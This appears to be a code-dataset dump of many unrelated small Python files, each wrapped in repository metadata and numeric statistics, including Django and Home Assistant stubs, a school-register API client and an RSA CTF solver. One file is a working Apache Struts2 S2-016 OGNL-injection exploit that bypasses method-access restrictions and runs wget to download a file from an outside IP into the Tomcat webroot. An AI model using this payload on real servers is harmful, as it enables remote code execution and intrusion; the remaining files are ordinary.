zalke/home-assistant
a31e49c857722c0723dc5297cd83cbce0f8716f6
[ "Apache-2.0" ]
4
2019-09-21T19:32:05.000Z
2021-11-30T03:08:07.000Z
"""The fedex component."""
13.5
26
0.62963
3
27
5.666667
1
0
0
0
0
0
0
0
0
0
0
0
0.111111
27
1
27
27
0.708333
0.740741
0
null
0
null
0
0
null
0
0
0
null
1
null
true
0
0
null
null
null
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
4
d69113a7508fcb9e81af2e8ba771b3402e2e8c25
637
py
Python
EXP/S2-016/uns2016.py
Octoberr/swm0920
8f05a6b91fc205960edd57f9076facec04f49a1a
[ "Apache-2.0" ]
2
2019-05-19T11:54:26.000Z
2019-05-19T12:03:49.000Z
EXP/S2-016/uns2016.py
Octoberr/swm0920
8f05a6b91fc205960edd57f9076facec04f49a1a
[ "Apache-2.0" ]
1
2020-11-27T07:55:15.000Z
2020-11-27T07:55:15.000Z
EXP/S2-016/uns2016.py
Octoberr/swm0920
8f05a6b91fc205960edd57f9076facec04f49a1a
[ "Apache-2.0" ]
2
2021-09-06T18:06:12.000Z
2021-12-31T07:44:43.000Z
# coding:utf-8 import requests poc = "/default.action?redirect:%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29%2C%23f.setAccessible%28true%29%2C%23f.set%28%23_memberAccess%2Ctrue%29%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27wget http://172.22.209.33:8014/api/download -O /usr/local/tomcat/webapps/ROOT/swm.s1%27%29.getInputStream%28%29%29%7D" url = "http://localhost:8089/default.action" commandurl = url+poc res = requests.get(commandurl, timeout=10) print res.text
79.625
481
0.803768
103
637
4.951456
0.708738
0.029412
0.027451
0
0
0
0
0
0
0
0
0.147967
0.034537
637
8
482
79.625
0.681301
0.018838
0
0
0
0.166667
0.815705
0.689103
0
0
0
0
0
0
null
null
0
0.166667
null
null
0.166667
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
1
1
null
0
0
0
0
1
0
0
0
0
0
0
0
0
4
d6d9a5aa386c5da116d75f94bb7ee7cff3ff2699
98
py
Python
57_name_02.py
AmreshTripathy/Python
e86420fef7f52da393be5b50ac2f13bddfeb3306
[ "Apache-2.0" ]
4
2021-05-27T05:06:09.000Z
2021-06-12T17:12:47.000Z
57_name_02.py
AmreshTripathy/Python
e86420fef7f52da393be5b50ac2f13bddfeb3306
[ "Apache-2.0" ]
null
null
null
57_name_02.py
AmreshTripathy/Python
e86420fef7f52da393be5b50ac2f13bddfeb3306
[ "Apache-2.0" ]
null
null
null
def greet(name): print(f'Good Day, {name}') name = input('Enter your name: ') greet(name)
19.6
34
0.612245
15
98
4
0.666667
0.3
0
0
0
0
0
0
0
0
0
0
0.204082
98
5
35
19.6
0.769231
0
0
0
0
0
0.347368
0
0
0
0
0
0
1
0.25
false
0
0
0
0.25
0.25
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
4
d6dfe7f4935741367f83e0e6ceae45e029451e81
86
py
Python
backend/project-director/pm_api/apps.py
Caleb646/Project-Director
25f15c2ecc1cbcae593e0922f67aa02a08d530c7
[ "MIT" ]
null
null
null
backend/project-director/pm_api/apps.py
Caleb646/Project-Director
25f15c2ecc1cbcae593e0922f67aa02a08d530c7
[ "MIT" ]
null
null
null
backend/project-director/pm_api/apps.py
Caleb646/Project-Director
25f15c2ecc1cbcae593e0922f67aa02a08d530c7
[ "MIT" ]
null
null
null
from django.apps import AppConfig class PmApiConfig(AppConfig): name = 'pm_api'
14.333333
33
0.744186
11
86
5.727273
0.909091
0
0
0
0
0
0
0
0
0
0
0
0.174419
86
5
34
17.2
0.887324
0
0
0
0
0
0.069767
0
0
0
0
0
0
1
0
false
0
0.333333
0
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
4
d6e8474ed04d68d8db2f3de17491e02a35cb29cc
98
py
Python
yasklearn/decomposition/__init__.py
ikegami-yukino/yascikit-learn
0cc249a410408ee916cbce98dc493a842a837807
[ "MIT" ]
1
2021-10-11T22:37:39.000Z
2021-10-11T22:37:39.000Z
yasklearn/decomposition/__init__.py
ikegami-yukino/yascikit-learn
0cc249a410408ee916cbce98dc493a842a837807
[ "MIT" ]
null
null
null
yasklearn/decomposition/__init__.py
ikegami-yukino/yascikit-learn
0cc249a410408ee916cbce98dc493a842a837807
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- from .plsa import PLSA from .plsv import PLSV __all__ = ['PLSA', 'PLSV']
16.333333
26
0.622449
14
98
4.071429
0.571429
0
0
0
0
0
0
0
0
0
0
0.0125
0.183673
98
5
27
19.6
0.7
0.214286
0
0
0
0
0.106667
0
0
0
0
0
0
1
0
false
0
0.666667
0
0.666667
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
4
ba5bdcc6f19f1cd98e73049849fa1efdbe30afff
641
py
Python
leads/migrations/0011_auto_20210308_1420.py
dEvBranco/django_CRM
0506916763a43029a512144b8032f5e59ea5b9a5
[ "MIT" ]
null
null
null
leads/migrations/0011_auto_20210308_1420.py
dEvBranco/django_CRM
0506916763a43029a512144b8032f5e59ea5b9a5
[ "MIT" ]
null
null
null
leads/migrations/0011_auto_20210308_1420.py
dEvBranco/django_CRM
0506916763a43029a512144b8032f5e59ea5b9a5
[ "MIT" ]
null
null
null
# Generated by Django 3.1.6 on 2021-03-08 14:20 from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('leads', '0010_auto_20210308_1121'), ] operations = [ migrations.RemoveField( model_name='lead', name='date_added', ), migrations.RemoveField( model_name='lead', name='description', ), migrations.RemoveField( model_name='lead', name='email', ), migrations.RemoveField( model_name='lead', name='phone_number', ), ]
21.366667
47
0.528861
58
641
5.689655
0.603448
0.254545
0.315152
0.363636
0.460606
0.460606
0
0
0
0
0
0.075243
0.357254
641
29
48
22.103448
0.725728
0.070203
0
0.521739
1
0
0.138047
0.038721
0
0
0
0
0
1
0
false
0
0.043478
0
0.173913
0
0
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
4
ba64a5a3c0a17cddd86d02520f4e08b9044983fc
46
py
Python
.workshop/jupyterhub_config.py
blues-man/lab-tekton-pipelines
f3eaef8a081332cfef0b683740039d0765de02b0
[ "Apache-2.0" ]
109
2018-02-27T04:57:25.000Z
2022-03-16T12:34:35.000Z
.workshop/jupyterhub_config.py
blues-man/lab-tekton-pipelines
f3eaef8a081332cfef0b683740039d0765de02b0
[ "Apache-2.0" ]
96
2018-02-21T21:29:04.000Z
2022-02-28T15:55:35.000Z
.workshop/jupyterhub_config.py
blues-man/lab-tekton-pipelines
f3eaef8a081332cfef0b683740039d0765de02b0
[ "Apache-2.0" ]
122
2018-02-12T10:44:03.000Z
2022-03-16T12:34:47.000Z
os.environ["OPENSHIFT_PROJECT"] = "{username}"
46
46
0.73913
5
46
6.6
1
0
0
0
0
0
0
0
0
0
0
0
0.043478
46
1
46
46
0.75
0
0
0
0
0
0.574468
0
0
0
0
0
0
1
0
true
0
0
0
0
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
4
ba7c66f30412c2f286ecf76eed078f4f8398d239
499
py
Python
patton_server/dal/vulnerability/fields.py
directionless/patton-server
da39cb8b09029dbcf4edd5c78abb150dc53e8ebe
[ "Apache-2.0" ]
null
null
null
patton_server/dal/vulnerability/fields.py
directionless/patton-server
da39cb8b09029dbcf4edd5c78abb150dc53e8ebe
[ "Apache-2.0" ]
null
null
null
patton_server/dal/vulnerability/fields.py
directionless/patton-server
da39cb8b09029dbcf4edd5c78abb150dc53e8ebe
[ "Apache-2.0" ]
null
null
null
from datetime import datetime # INFO: loading here to use the correct level of indirection (every field generator must be here for this module) from patton_server.dal.common.fields import uuid, cpe_norm # noqa def datetimep(datetimestr): # TODO: research about trailing timezone return datetime.strptime(datetimestr[:-10], '%Y-%m-%dT%H:%M:%S') def cwe(vuln): try: return vuln.find('{*}cwe').attrib['id'] except AttributeError: # TODO: try None return ''
27.722222
113
0.687375
69
499
4.942029
0.797101
0
0
0
0
0
0
0
0
0
0
0.005013
0.200401
499
17
114
29.352941
0.849624
0.340681
0
0
0
0
0.07716
0
0
0
0
0.058824
0
1
0.222222
false
0
0.222222
0.111111
0.777778
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
1
0
0
1
0
0
0
1
1
0
0
4
bad79d963d324700963f05203f4204cfd3e52770
1,528
py
Python
Three Ravens/script.py
killua4564/-2020-Crypto-CTF
632578291d92d0637aeedaad6656c8275452eb0b
[ "MIT" ]
null
null
null
Three Ravens/script.py
killua4564/-2020-Crypto-CTF
632578291d92d0637aeedaad6656c8275452eb0b
[ "MIT" ]
null
null
null
Three Ravens/script.py
killua4564/-2020-Crypto-CTF
632578291d92d0637aeedaad6656c8275452eb0b
[ "MIT" ]
null
null
null
from Crypto.Util.number import long_to_bytes, inverse n = 1118073551150541760383506765868334289095849217207383428775992128374826037924363098550311115755885268424829560194236035782255428423619054826556807583363177501160213010458887123857150164238253637312857212126083296001975671629067724687807682085295986049189947830021121209617616433866087257702543240938795900959368763108186758449391390546819577861156371516299606594152091361928029030465815445679749601118940372981318726596366101388122993777320367839724909505255914071 pqr = 31678428119854378475039974072165136708037257624045332601158556362844808093636775192373992510841508137996049429030654845564354209680913299308777477807442821 e = 0x10001 enc = 8218052282226011897229703907763521214054254785275511886476861328067117492183790700782505297513098158712472588720489709882417825444704582655690684754154241671286925464578318013917918101067812646322286246947457171618728341255012035871158497984838460855373774074443992317662217415756100649174050915168424995132578902663081333332801110559150194633626102240977726402690504746072115659275869737559251377608054255462124427296423897051386235407536790844019875359350402011464166599355173568372087784974017638074052120442860329810932290582796092736141970287892079554841717950791910180281001178448060567492540466675577782909214 d = inverse(e, pqr-1) print(long_to_bytes(pow(enc, d, pqr))) ''' n = p * q * r * (p + q + r) if l|n a = b (mod n) a = b + kn a = b + ktl (l|n ==> n = tl) if a < l then a = b (mod l) Let l = p + q + r '''
66.434783
622
0.908377
67
1,528
20.656716
0.507463
0.00578
0.006503
0
0
0
0
0
0
0
0
0.859418
0.054974
1,528
23
623
66.434783
0.09903
0
0
0
0
0
0
0
0
1
0.005058
0
0
1
0
false
0
0.142857
0
0.142857
0.142857
0
0
1
null
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
1
0
0
0
0
0
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
4
2433af46fc62f1531b0df7df560f34d545c03765
3,107
py
Python
lithic/types/__init__.py
lithic-com/lithic-python
be19d7195ebdf217b45f1ab59b39021d51330989
[ "Apache-2.0" ]
null
null
null
lithic/types/__init__.py
lithic-com/lithic-python
be19d7195ebdf217b45f1ab59b39021d51330989
[ "Apache-2.0" ]
null
null
null
lithic/types/__init__.py
lithic-com/lithic-python
be19d7195ebdf217b45f1ab59b39021d51330989
[ "Apache-2.0" ]
null
null
null
# File generated from our OpenAPI spec by Stainless. from .account import Account from .account_update_params import AccountUpdateParams from .account_list_params import AccountListParams from .account_holder import AccountHolder from .account_holder_document import AccountHolderDocument from .account_holder_create_webhook_response import AccountHolderCreateWebhookResponse from .account_holder_list_documents_response import AccountHolderListDocumentsResponse from .account_holder_create_params import AccountHolderCreateParams from .account_holder_create_webhook_params import AccountHolderCreateWebhookParams from .account_holder_resubmit_params import AccountHolderResubmitParams from .account_holder_upload_document_params import AccountHolderUploadDocumentParams from .auth_rule import AuthRule from .auth_rule_create_response import AuthRuleCreateResponse from .auth_rule_retrieve_response import AuthRuleRetrieveResponse from .auth_rule_update_response import AuthRuleUpdateResponse from .auth_rule_list_response import AuthRuleListResponse from .auth_rule_apply_response import AuthRuleApplyResponse from .auth_rule_remove_response import AuthRuleRemoveResponse from .auth_rule_create_params import AuthRuleCreateParams from .auth_rule_update_params import AuthRuleUpdateParams from .auth_rule_list_params import AuthRuleListParams from .auth_rule_apply_params import AuthRuleApplyParams from .auth_rule_remove_params import AuthRuleRemoveParams from .auth_stream_enrollment import AuthStreamEnrollment from .auth_stream_enrollment_enroll_params import AuthStreamEnrollmentEnrollParams from .card import Card from .card_provision_response import CardProvisionResponse from .card_create_params import CardCreateParams from .card_update_params import CardUpdateParams from .card_list_params import CardListParams from .card_embed_params import CardEmbedParams from .card_provision_params import CardProvisionParams from .card_reissue_params import CardReissueParams from .funding_source import FundingSource from .funding_source_create_params import FundingSourceCreateParams from .funding_source_update_params import FundingSourceUpdateParams from .funding_source_list_params import FundingSourceListParams from .funding_source_verify_params import FundingSourceVerifyParams from .transaction import Transaction from .transaction_simulate_authorization_response import TransactionSimulateAuthorizationResponse from .transaction_simulate_clearing_response import TransactionSimulateClearingResponse from .transaction_simulate_return_response import TransactionSimulateReturnResponse from .transaction_simulate_void_response import TransactionSimulateVoidResponse from .transaction_list_params import TransactionListParams from .transaction_simulate_authorization_params import TransactionSimulateAuthorizationParams from .transaction_simulate_clearing_params import TransactionSimulateClearingParams from .transaction_simulate_return_params import TransactionSimulateReturnParams from .transaction_simulate_void_params import TransactionSimulateVoidParams from .api_status import APIStatus
52.661017
97
0.915031
327
3,107
8.318043
0.275229
0.119118
0.052941
0.025368
0.022059
0
0
0
0
0
0
0
0.068555
3,107
58
98
53.568966
0.939876
0.016093
0
0
1
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
4
244feb7817589650df5b630f674bdd9e5e7d88dd
234
py
Python
Abstract/WinCheck.py
BoogyWinterfell/friday-fun
686e8c53415e748db437e74c3e2b02afcd9695bf
[ "MIT" ]
null
null
null
Abstract/WinCheck.py
BoogyWinterfell/friday-fun
686e8c53415e748db437e74c3e2b02afcd9695bf
[ "MIT" ]
null
null
null
Abstract/WinCheck.py
BoogyWinterfell/friday-fun
686e8c53415e748db437e74c3e2b02afcd9695bf
[ "MIT" ]
null
null
null
import abc from typing import List from Abstract.EngineGameInfo import EngineGameInfo class WinCheck(metaclass=abc.ABCMeta): @abc.abstractmethod def search_for_winners(self, info: EngineGameInfo) -> List[str]: pass
21.272727
68
0.760684
28
234
6.285714
0.714286
0
0
0
0
0
0
0
0
0
0
0
0.166667
234
10
69
23.4
0.902564
0
0
0
0
0
0
0
0
0
0
0
0
1
0.142857
false
0.142857
0.428571
0
0.714286
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
1
0
1
0
0
4
24563e3f165b68bb4af7bb46cc6b68645335694a
162
py
Python
nmp/nmp.py
ThyCowLord/nmp
075ced6cf0f77bd8d8f4fe03b0734db2a0c49782
[ "Unlicense" ]
null
null
null
nmp/nmp.py
ThyCowLord/nmp
075ced6cf0f77bd8d8f4fe03b0734db2a0c49782
[ "Unlicense" ]
null
null
null
nmp/nmp.py
ThyCowLord/nmp
075ced6cf0f77bd8d8f4fe03b0734db2a0c49782
[ "Unlicense" ]
null
null
null
import time def num(): curtim = time.time() time.sleep(0.1) murtim = time.time() lurtim = time.time() + (time.time() * murtim) % murtim return lurtim
16.2
56
0.623457
23
162
4.391304
0.478261
0.475248
0.356436
0
0
0
0
0
0
0
0
0.015625
0.209877
162
9
57
18
0.773438
0
0
0
0
0
0
0
0
0
0
0
0
1
0.142857
false
0
0.142857
0
0.428571
0
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
4
79e5422a767fbb09d7f5e6e1c6a5582ca9800a00
63
py
Python
src/test.py
gabrielDpadua21/code-challenges
0050bc9b358193aa6cacdda21e0670a9dc20450a
[ "MIT" ]
null
null
null
src/test.py
gabrielDpadua21/code-challenges
0050bc9b358193aa6cacdda21e0670a9dc20450a
[ "MIT" ]
null
null
null
src/test.py
gabrielDpadua21/code-challenges
0050bc9b358193aa6cacdda21e0670a9dc20450a
[ "MIT" ]
null
null
null
class Test: def sum(self, x, y): return x + y
15.75
24
0.460317
10
63
2.9
0.8
0.137931
0
0
0
0
0
0
0
0
0
0
0.428571
63
4
25
15.75
0.805556
0
0
0
0
0
0
0
0
0
0
0
0
1
0.333333
false
0
0
0.333333
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
0
0
0
4
79ef077e0a7920b05cf73e1cb23fbf30a3ae37e3
10,025
py
Python
src/NBDRP/__init__.py
Nicky5/NBDRP
4fa2460a836132254cdd9edd1f61ad14551e68c4
[ "MIT" ]
null
null
null
src/NBDRP/__init__.py
Nicky5/NBDRP
4fa2460a836132254cdd9edd1f61ad14551e68c4
[ "MIT" ]
null
null
null
src/NBDRP/__init__.py
Nicky5/NBDRP
4fa2460a836132254cdd9edd1f61ad14551e68c4
[ "MIT" ]
null
null
null
import base64 import json import re import requests from bs4 import BeautifulSoup from requests import request URL_API = '/v2/api' URL_LOGIN = f'{URL_API}/auth/login' URL_DASHBOARD = f'{URL_API}/student/dashboard/dashboard' URL_CALENDAR = f'{URL_API}/calendar/student' URL_GRADES = f'{URL_API}/student/all_subjects' URL_PROFILE = f'{URL_API}/profile/get' URL_MESSAGES = f'{URL_API}/message/getMyMessages' URL_ABSENCES = f'{URL_API}/student/dashboard/absences' URL_NOTIFICATIONS = f'{URL_API}/notification/unread' URL_COURSECONTENT = f'{URL_API}/courseContent/getCourse' URL_LOG = f'{URL_API}/lesson/student' URL_RECIPIENTS = f'{URL_API}/message/getRecipients' URL_UPDATE_ENTRY = f'{URL_API}/submission/updateEntry' URL_UPLOAD = f'{URL_API}/file/upload' URL_DELETE_ENTRY = f'{URL_API}/submission/deleteEntry' URL_CHECK = f'{URL_API}/student/dashboard/toggle_reminder' URL_LESSON_DETAIL = f'{URL_API}/lesson/get' URL_GRADE_DETAIL = f'{URL_API}/student/subject_detail' URL_GET_COURSE = f'{URL_API}/courseContent/getCourse' URL_CHANGE_LANG = f'{URL_API}/profile/updateLanguage' URL_NOTIFICATIONS_SETTINGS = f'{URL_API}/profile/updateNotificationSettings' URL_CHANGE_PASSWORD = f'{URL_API}/auth/setNewPassword' URL_CHANGE_EMIL = f'{URL_API}/profile/updateProfile' URL_RECIPIENT_DETAILS = f'{URL_API}/message/getRecipientsDetails' URL_SEND_MESSAGE = f'{URL_API}/message/sendMessage' URL_SAVE_REMINDER = f'{URL_API}/student/dashboard/save_reminder' URL_DELETE_REMIDER = f'{URL_API}/student/dashboard/delete_reminder' URL_EXTEND_SESSION = f'{URL_API}/auth/extendSession' URL_GET_GRADE = f'{URL_API}/student/entry/getGrade' URL_GET_TYPES = f'{URL_API}/grade/getTypes' URL_CHANGE_SEMESTER = '/v2/?semesterWechsel=' URL_CERTIFICATE = '/v2/student/certificate' URL_HOMEWORK_OVERVIEW = '/v2/vorstand/homework&klasse' class user(): def __init__(self, username_: str, password_: str, domain_: str): self.cache_dump = {} self.protocol = 'https://' self.domain = domain_ self.username = username_ self.password = password_ self.cookies = None def reqst(self, url, method='POST', data=None, json=None, cache=None, get_cache=None, **kwargs): if get_cache is not None and (temp := self.cache_dump.get(get_cache, False)): result = temp print(self.cache_dump) else: result = request(method, self.protocol + self.domain + url, json=json, data=data, cookies=self.cookies, allow_redirects=True, **kwargs) if result.text.count('window.location = "https://rgtfo-me.digitalesregister.it/v2/login";'): self.request_cookies() return self.reqst(url, method=method, data=data, json=json, cache=cache, get_cache=get_cache, **kwargs) try: result.json() except ValueError: pass else: if isinstance(result.json(), dict): if error := result.json().get('error', False): raise Exception(f"{error}: {result.json().get('error', False)}") if cache is not None: self.cache_dump[cache] = result return result def request_cookies(self): class LoginError(Exception): pass login_payload = dict(username=self.username, password=self.password) login = requests.get(self.protocol + self.domain + URL_LOGIN, json=login_payload, allow_redirects=True) if 'error' in (data := login.json()).keys() and data['error'] is not None: raise LoginError(f"{data['error']}: {data['message']}") self.cookies = login.cookies def request_dashboard(self, viewFuture=True, **kwargs): return self.reqst(URL_DASHBOARD, json={"viewFuture": viewFuture}, **kwargs) def request_notifications(self, **kwargs): return self.reqst(URL_NOTIFICATIONS, **kwargs) def request_profile(self, **kwargs): return self.reqst(URL_PROFILE, **kwargs) def request_grades(self, **kwargs): return self.reqst(URL_GRADES, **kwargs) def request_absences(self, **kwargs): return self.reqst(URL_ABSENCES, **kwargs) def request_log(self, **kwargs): return self.reqst(URL_LOG, **kwargs) def request_week_calendar(self, date, **kwargs): return self.reqst(URL_CALENDAR, json={"startDate": date}, **kwargs) def request_messages(self, **kwargs): return self.reqst(URL_MESSAGES, **kwargs) def request_recipients(self, filter, **kwargs): return self.reqst(URL_RECIPIENTS, json={"filter": filter}, **kwargs) def request_recipients_details(self, recipients, **kwargs): return self.reqst(URL_RECIPIENT_DETAILS, json={"recipientGroups": recipients}, **kwargs) def request_entry_deletion(self, submission_item_id, category_id, **kwargs): return self.reqst(URL_DELETE_ENTRY, json={"submissionItemId": submission_item_id, "categoryId": category_id}, **kwargs) def request_entry_check(self, id, value, **kwargs): return self.reqst(URL_CHECK, json={"id": id, "type": "gradeGroup", "value": value}, **kwargs) def request_hour_details(self, date, hour, to_hour, class_id, **kwargs): return self.reqst(URL_LESSON_DETAIL, json={"date": date, "hour": str(hour), "toHour": to_hour, "classId": class_id}, **kwargs) def request_subject_detail(self, subject_id, student_id, **kwargs): return self.reqst(URL_GRADE_DETAIL, json={"subjectId": subject_id, "studentId": student_id}, **kwargs) def request_course(self, class_id, subject_id, **kwargs): return self.reqst(URL_GET_COURSE, json={"classId": class_id, "subjectId": subject_id}, **kwargs) def request_language_switch(self, lang, **kwargs): return self.reqst(URL_CHANGE_LANG, json={"language": lang}, **kwargs) def request_email_notifications_change(self, bool, **kwargs): return self.reqst(URL_NOTIFICATIONS_SETTINGS, json={"notificationsEnabled": bool}, **kwargs) def request_grade(self, gradeId, **kwargs): return self.reqst(URL_GET_GRADE, json={"gradeId": gradeId}, **kwargs) def request_types(self, classId, subjectId, **kwargs): return self.reqst(URL_GET_TYPES, payload={"classId": classId, "subjectId": subjectId}, **kwargs) def request_password_change(self, username, old_password, new_password, **kwargs): return self.reqst(URL_CHANGE_PASSWORD, json={"username": username, "oldPassword": old_password, "newPassword": new_password}, **kwargs) def request_email_change(self, new_email, password, **kwargs): return self.reqst(URL_CHANGE_EMIL, json={"email": new_email, "password": password}, **kwargs) def request_reminder_save(self, date, text, **kwargs): return self.reqst(URL_SAVE_REMINDER, json={"date": date, "text": text}, **kwargs) def request_reminder_deletion(self, id, **kwargs): return self.reqst(URL_DELETE_REMIDER, json={"id": id}, **kwargs) def request_semester_change(self, sem, **kwargs): return self.reqst("https://rgtfo-me.digitalesregister.it/v2/", params=('semesterWechsel', str(sem)), **kwargs) def request_base_html(self, **kwargs): return self.reqst("/v2/", **kwargs) def parse_certificate(self, ): arr = BeautifulSoup(self.request_base_html(cache='html', get_cache='html'), 'html.parser').find_all("td", { "class": "padding-cell"}) dic = {} for i in range(0, len(arr), 2): dic[arr[i].text] = arr[i + 1].text return dic def parse_teachers(self, ): return json.loads( re.search("(?<=teachers = )(.*)(?=;)", self.request_base_html(cache='html', get_cache='html').text).group()) def parse_teachers_object(self, ): return json.loads( re.search("(?<=teachersObject = )(.*)(?=;)", self.request_base_html(cache='html', get_cache='html').text).group()) def parse_lesson_types(self, ): return json.loads( re.search("(?<=lessontypes = )(.*)(?=;)", self.request_base_html(cache='html', get_cache='html').text).group()) def parse_rooms(self, ): return json.loads( re.search("(?<=rooms = )(.*)(?=;)", self.request_base_html(cache='html', get_cache='html').text).group()) def parse_subjects(self, ): return json.loads( re.search("(?<=subjects = )(.*)(?=;)", self.request_base_html(cache='html', get_cache='html').text).group()) def parse_classes(self, ): return json.loads( re.search("(?<=classes = )(.*)(?=;)", self.request_base_html(cache='html', get_cache='html').text).group()) def parse_grade_types(self, ): return json.loads( re.search("(?<=gradeTypes = )(.*)(?=;)", self.request_base_html(cache='html', get_cache='html').text).group()) def parse_observation_types(self, ): return json.loads( re.search("(?<=observationTypes = )(.*)(?=;)", self.request_base_html(cache='html', get_cache='html').text).group()) def parse_calendar_time_grid_objects_without_gaps(self, ): return json.loads(re.search("(?<=calendarTimeGridObjectsWithoutGaps = )(.*)(?=;)", self.request_base_html(cache='html', get_cache='html').text).group()) def parse_student_absence_time_grid_objects(self, ): return json.loads(re.search("(?<=studentAbsenceTimeGridObjects = )(.*)(?=;)", self.request_base_html(cache='html', get_cache='html').text).group()) def parse_new_lesson_time_grid_array(self, ): return json.loads(re.search("(?<=newLessonTimeGridArray = )(.*)(?=;)", self.request_base_html(cache='html', get_cache='html').text).group()) # message sending has been removed # def send_message(sendable): # return self.reqst(URL_SEND_MESSAGE, payload=sendable)) # TODO: homework overview # TODO: file uploader # TODO: entry updater
44.955157
128
0.664339
1,241
10,025
5.141015
0.171636
0.028213
0.031818
0.070533
0.322571
0.263323
0.140282
0.103292
0.103292
0.097022
0
0.001587
0.182743
10,025
222
129
45.157658
0.777127
0.018254
0
0.089286
0
0
0.196848
0.107575
0
0
0
0.004505
0
1
0.238095
false
0.065476
0.035714
0.214286
0.517857
0.005952
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
1
0
1
1
0
0
4
031bb5f84c309f28592d388932982feb8b98b459
62
py
Python
hypernets/hyperctl/service.py
lyhue1991/Hypernets
d726bd297869eacb0cba84376fbac30206bbb60a
[ "Apache-2.0" ]
3
2022-03-25T23:27:44.000Z
2022-03-27T01:32:28.000Z
hypernets/hyperctl/service.py
lyhue1991/Hypernets
d726bd297869eacb0cba84376fbac30206bbb60a
[ "Apache-2.0" ]
null
null
null
hypernets/hyperctl/service.py
lyhue1991/Hypernets
d726bd297869eacb0cba84376fbac30206bbb60a
[ "Apache-2.0" ]
null
null
null
class JobService: def update_status(self): pass
10.333333
28
0.629032
7
62
5.428571
1
0
0
0
0
0
0
0
0
0
0
0
0.306452
62
5
29
12.4
0.883721
0
0
0
0
0
0
0
0
0
0
0
0
1
0.333333
false
0.333333
0
0
0.666667
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
1
0
0
0
0
0
4
031f03586fc4a7e440a995e0be5da8e1a66e9c93
112
py
Python
mlhep2019/__init__.py
mzgubic/mlhep2019
1e1aa0b1f3e3a78b16e49899d77c423d02bf926f
[ "MIT" ]
1
2020-05-01T07:40:24.000Z
2020-05-01T07:40:24.000Z
mlhep2019/__init__.py
pimverschuuren/YandexMLHEPSchool
0fad19350768b4d0503841fe9d8b0d0a111dcb98
[ "MIT" ]
null
null
null
mlhep2019/__init__.py
pimverschuuren/YandexMLHEPSchool
0fad19350768b4d0503841fe9d8b0d0a111dcb98
[ "MIT" ]
null
null
null
from . import pivot __all__ = [ 'print_hello', 'pivot' ] def print_hello(): print('Hello, MLHEP 2019!')
11.2
29
0.633929
14
112
4.642857
0.642857
0.461538
0
0
0
0
0
0
0
0
0
0.044944
0.205357
112
9
30
12.444444
0.685393
0
0
0
0
0
0.303571
0
0
0
0
0
0
1
0.142857
false
0
0.142857
0
0.285714
0.428571
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
1
0
4
03522818b461df82134747667c98e8c7f615f1ad
13
py
Python
Python/Tests/TestData/SimpleImport/module1.py
nanshuiyu/pytools
9f9271fe8cf564b4f94e9456d400f4306ea77c23
[ "Apache-2.0" ]
null
null
null
Python/Tests/TestData/SimpleImport/module1.py
nanshuiyu/pytools
9f9271fe8cf564b4f94e9456d400f4306ea77c23
[ "Apache-2.0" ]
null
null
null
Python/Tests/TestData/SimpleImport/module1.py
nanshuiyu/pytools
9f9271fe8cf564b4f94e9456d400f4306ea77c23
[ "Apache-2.0" ]
null
null
null
value = 123
6.5
12
0.615385
2
13
4
1
0
0
0
0
0
0
0
0
0
0
0.333333
0.307692
13
1
13
13
0.555556
0
0
0
0
0
0
0
0
0
0
0
0
1
0
false
0
0
0
0
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
4
0379e7f32449d04db85fa8bca74d9c651854d310
53
py
Python
code/abc040_a_02.py
KoyanagiHitoshi/AtCoder
731892543769b5df15254e1f32b756190378d292
[ "MIT" ]
3
2019-08-16T16:55:48.000Z
2021-04-11T10:21:40.000Z
code/abc040_a_02.py
KoyanagiHitoshi/AtCoder
731892543769b5df15254e1f32b756190378d292
[ "MIT" ]
null
null
null
code/abc040_a_02.py
